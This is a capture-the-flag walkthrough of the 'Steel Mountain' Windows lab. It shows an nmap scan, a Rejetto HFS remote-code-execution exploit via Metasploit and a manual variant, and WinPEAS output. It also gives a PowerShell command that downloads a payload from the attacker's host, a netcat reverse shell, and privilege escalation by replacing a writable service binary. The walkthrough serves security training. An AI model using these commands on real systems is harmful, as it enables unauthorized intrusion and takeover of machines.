

# ***Steel Mountain***

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Hack into a Mr. Robot themed Windows machine. Use metasploit for initial access, utilise powershell for Windows privilege escalation enumeration and learn a new technique to get Administrator access.

# Recon

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```
nmap -sC -sV -F -T4 10.10.14.191
```

Starting Nmap 7.92 ( <https://nmap.org> ) at 2022-03-24 18:37 PKT

Nmap scan report for 10.10.14.191

Host is up (0.29s latency).

Not shown: 89 closed tcp ports (reset)

| PORT | STATE | SERVICE | VERSION |
|------|-------|---------|---------|
|------|-------|---------|---------|

|        |      |      |                         |
|--------|------|------|-------------------------|
| 80/tcp | open | http | Microsoft IIS httpd 8.5 |
|--------|------|------|-------------------------|

|\_http-server-header: Microsoft-IIS/8.5

|\_http-title: Site doesn't have a title (text/html).

| http-methods:

|\_ Potentially risky methods: TRACE

|         |      |       |                       |
|---------|------|-------|-----------------------|
| 135/tcp | open | msrpc | Microsoft Windows RPC |
|---------|------|-------|-----------------------|

|         |      |             |                               |
|---------|------|-------------|-------------------------------|
| 139/tcp | open | netbios-ssn | Microsoft Windows netbios-ssn |
|---------|------|-------------|-------------------------------|

|         |      |              |   |
|---------|------|--------------|---|
| 445/tcp | open | microsoft-ds | Microsoft Windows Server 2008 R2 - 2012 |
|---------|------|--------------|---|

microsoft-ds

|          |      |                    |  |
|----------|------|--------------------|--|
| 3389/tcp | open | ssl/ms-wbt-server? |  |
|----------|------|--------------------|--|

|\_ssl-date: 2022-03-23T13:39:26+00:00; -1d00h00m16s from scanner time.

|\_ssl-cert: Subject: commonName=steelmountain

| Not valid before: 2022-03-22T13:33:10

|\_Not valid after: 2022-09-21T13:33:10

| rdp-ntlm-info:

| Target\_Name: STEELMOUNTAIN

| NetBIOS\_Domain\_Name: STEELMOUNTAIN

| NetBIOS\_Computer\_Name: STEELMOUNTAIN

| DNS\_Domain\_Name: steelmountain

| DNS\_Computer\_Name: steelmountain

| Product\_Version: 6.3.9600

|\_ System\_Time: 2022-03-23T13:39:11+00:00

|          |      |      |                          |
|----------|------|------|--------------------------|
| 8080/tcp | open | http | HttpFileServer httpd 2.3 |
|----------|------|------|--------------------------|

|\_http-server-header: HFS 2.3

|\_http-title: HFS /

|           |      |       |                       |
|-----------|------|-------|-----------------------|
| 49152/tcp | open | msrpc | Microsoft Windows RPC |
|-----------|------|-------|-----------------------|

|           |      |       |                       |
|-----------|------|-------|-----------------------|
| 49153/tcp | open | msrpc | Microsoft Windows RPC |
|-----------|------|-------|-----------------------|

|           |      |       |                       |
|-----------|------|-------|-----------------------|
| 49154/tcp | open | msrpc | Microsoft Windows RPC |
|-----------|------|-------|-----------------------|

|           |      |         |  |
|-----------|------|---------|--|
| 49155/tcp | open | unknown |  |
|-----------|------|---------|--|

|           |      |       |                       |
|-----------|------|-------|-----------------------|
| 49156/tcp | open | msrpc | Microsoft Windows RPC |
|-----------|------|-------|-----------------------|

Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:

| smb2-time:

```
|   date: 2022-03-23T13:39:11
|_  start_date: 2022-03-23T13:33:02
|  smb2-security-mode:
|    3.0.2:
|_    Message signing enabled but not required
|_clock-skew: mean: -1d00h00m15s, deviation: 0s, median: -1d00h00m15s
|  smb-security-mode:
|    account_used: guest
|    authentication_level: user
|    challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: STEELMOUNTAIN, NetBIOS user: <unknown>, NetBIOS MAC:
02:bb:55:1d:99:1f (unknown)
```

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 160.40 seconds

## HttpFileServer httpd 2.3

[https://www.rapid7.com/db/modules/exploit/windows/http/rejetto\\_hfs\\_exec/](https://www.rapid7.com/db/modules/exploit/windows/http/rejetto_hfs_exec/)  
(RCE) **Worked!**

<https://www.exploit-db.com/exploits/49584> RCE

<https://www.exploit-db.com/exploits/39161> RCE

## Microsoft IIS httpd 8.5

[https://www.cybersecurity-help.cz/vdb/microsoft/microsoft\\_iis/8.5/](https://www.cybersecurity-help.cz/vdb/microsoft/microsoft_iis/8.5/) (**Vulns** in this **Version**)

[https://www.rapid7.com/db/modules/exploit/windows/iis/iis\\_webdav\\_upload\\_asp/](https://www.rapid7.com/db/modules/exploit/windows/iis/iis_webdav_upload_asp/) ( Not Sure weather it will work or not, I will check it In Sha **ALLAH** )

## SMB

no eternal blue was detected and cant **enum** the **shares**

# ***Exploitation***

## **Exploitation**

[https://www.rapid7.com/db/modules/exploit/windows/http/rejetto\\_hfs\\_exec/](https://www.rapid7.com/db/modules/exploit/windows/http/rejetto_hfs_exec/) ( well defined )

**just set rhost, lhost, rport (8080) and run**

Two Web servers are running one is on **80** Port and the other is on **8080**

we have to change the rport to 8080, and you will gain **Initial Shell**

```
meterpreter > search -f user.txt
```

submitted the **userflag**

# Privilege Escalation

## Privilege Escalation

found something on exploit db about **windows r2 2012 server 6.3.9600**

<https://www.exploit-db.com/exploits/39719> Local PRiv Esc exploit

### Uploading Powerup and other PrivEsc Binary

```
meterpreter > upload /opt/windows/powersploit/Privesc/PowerUp.ps1
[*] uploading : /opt/windows/powersploit/Privesc/PowerUp.ps1 -> PowerUp.ps1
[*] Uploaded 549.65 KiB of 549.65 KiB (100.0%): /opt/windows/powersploit/Privesc/PowerUp.ps1 -> PowerUp.ps1
[*] uploaded : /opt/windows/powersploit/Privesc/PowerUp.ps1 -> PowerUp.ps1
```

```
meterpreter > upload /home/esclimited/Downloads/ThmTraining/JRPenWindowsPrivEsc/ToolsOfTheTrade/THM_WinPrivEsc_Tools/PowerUp.ps1
[*] uploading : /home/esclimited/Downloads/ThmTraining/JRPenWindowsPrivEsc/ToolsOfTheTrade/THM_WinPrivEsc_Tools/PowerUp.ps1 -> PowerUp.ps1
[*] Uploaded 549.65 KiB of 549.65 KiB (100.0%): /home/esclimited/Downloads/ThmTraining/JRPenWindowsPrivEsc/ToolsOfTheTrade/THM_WinPrivEsc_Tools/PowerUp.ps1 -> PowerUp.ps1
[*] uploaded : /home/esclimited/Downloads/ThmTraining/JRPenWindowsPrivEsc/ToolsOfTheTrade/THM_WinPrivEsc_Tools/PowerUp.ps1 -> PowerUp.ps1
meterpreter > upload /home/esclimited/Downloads/ThmTraining/JRPenWindowsPrivEsc/ToolsOfTheTrade/THM_WinPrivEsc_Tools/39719.ps1
[*] uploading : /home/esclimited/Downloads/ThmTraining/JRPenWindowsPrivEsc/ToolsOfTheTrade/THM_WinPrivEsc_Tools/39719.ps1 -> 39719.ps1
[*] Uploaded 11.55 KiB of 11.55 KiB (100.0%): /home/esclimited/Downloads/ThmTraining/JRPenWindowsPrivEsc/ToolsOfTheTrade/THM_WinPrivEsc_Tools/39719.ps1 -> 39719.ps1
[*] uploaded : /home/esclimited/Downloads/ThmTraining/JRPenWindowsPrivEsc/ToolsOfTheTrade/THM_WinPrivEsc_Tools/39719.ps1 -> 39719.ps1
meterpreter > load powershell
Loading extension powershell... Success.
meterpreter > 
```

To execute this using Meterpreter, I will type **load powershell** into meterpreter. Then I will enter powershell by entering **powershell\_shell**:

Point of Interest

StartMode

Advanced SystemCare Service 9      AdvancedSystemCareService9    C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe

Auto

|  |                            |   |
|--|----------------------------|---|
| C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>wmic service get name,displayname,pathname,startmode |                            |   |
| wmic service get name,displayname,pathname,startmode   |                            |   |
| DisplayName  | Name                       | PathName  |
| StartMode  |                            |   |
| Advanced SystemCare Service 9  | AdvancedSystemCareService9 | C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe |
| Auto   |                            |   |
| Application Experience   | AeLookupSvc                | C:\Windows\system32\svchost.exe -k netsvcs                      |
| Manual Winpeas output  |                            |   |
| Application Layer Gateway Service  | ALG                        | C:\Windows\System32\alg.exe                                     |
| Manual   |                            |   |
| Amazon SSM Agent   | AmazonSSMAgent             | "C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe"              |
| Auto   |                            |   |

```
IObitUnSvr(IObit - IObit Uninstaller Service)[0m[1;31mC:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe[0m] - Auto - Stopped
[0m[1;31mNo quotes and Space detected[0m
[0m[1;31mFile Permissions: bill [WriteData/CreateFiles][0m
[0m[1;31mPossible DLL Hijacking in binary folder: C:\Program Files (x86)\IObit\IObit Uninstaller (bill [WriteData/CreateFiles])[0m
[1;37mIObit Uninstaller Service
[1;90m===== [0m
```

**Note we can also find Permissions by searching in the winpeasoutput.txt**

## Got The Root Shell

**Service Name** = AdvancedSystemCareService9

**Service Executing File** = ASCService.exe

So you have to rename your payload to **ASCService.exe** then upload it to **C:\Program Files (x86)\IObit\Advanced SystemCare**

**Advanced.exe** will not work

You can't delete **ASCService.exe** file but when you upload your file in the directory the original one will be replaced by your **ASCService.exe** file

# Winpeas output

## Winpease output Snipped

RegPath:

**HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{10921475-03CE-4E04-90CE-E2E7EF20C814}**

Folder: **C:\Program Files (x86)\IObit\IObit Uninstaller**

**FolderPerms: bill [WriteData/CreateFiles]**

File: **C:\Program Files (x86)\IObit\IObit Uninstaller\UninstallExplorer.dll (Unquoted and Space detected)**

**FilePerms: bill [WriteData/CreateFiles]**

Folder: **C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup**

**FolderPerms: bill [AllAccess]**

File: **C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini (Unquoted and Space detected)**

**FilePerms: bill [AllAccess]**

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Folder: **C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup**

**FolderPerms: bill [AllAccess]**

File: **C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hfs.exe (Unquoted and Space detected)**

**FilePerms: bill [AllAccess]**

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Folder: **C:\windows\tasks**

**FolderPerms: Authenticated Users [WriteData/CreateFiles]**

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Folder: **C:\windows\system32\tasks**





# ***Access and Escalation Without Metasploit***

## **Access and Escalation Without Metasploit**

<https://www.exploit-db.com/exploits/39161> **RCE** ( Remember to change local ip with tun0 ip and lport with netcat listner port)

run httpserver with port 80 with nc.exe binary so exploit may request <http://yourip:80/nc.exe>

use nc listner also

once get connected

powershell -c Invoke-WebRequest -uri <http://10.8.41.9:8000/ASCService.exe> -outfile ASCService.exe

use the same powershell command to transfer winpeas and the payload

once executed the same previous steps you will gain the root shell.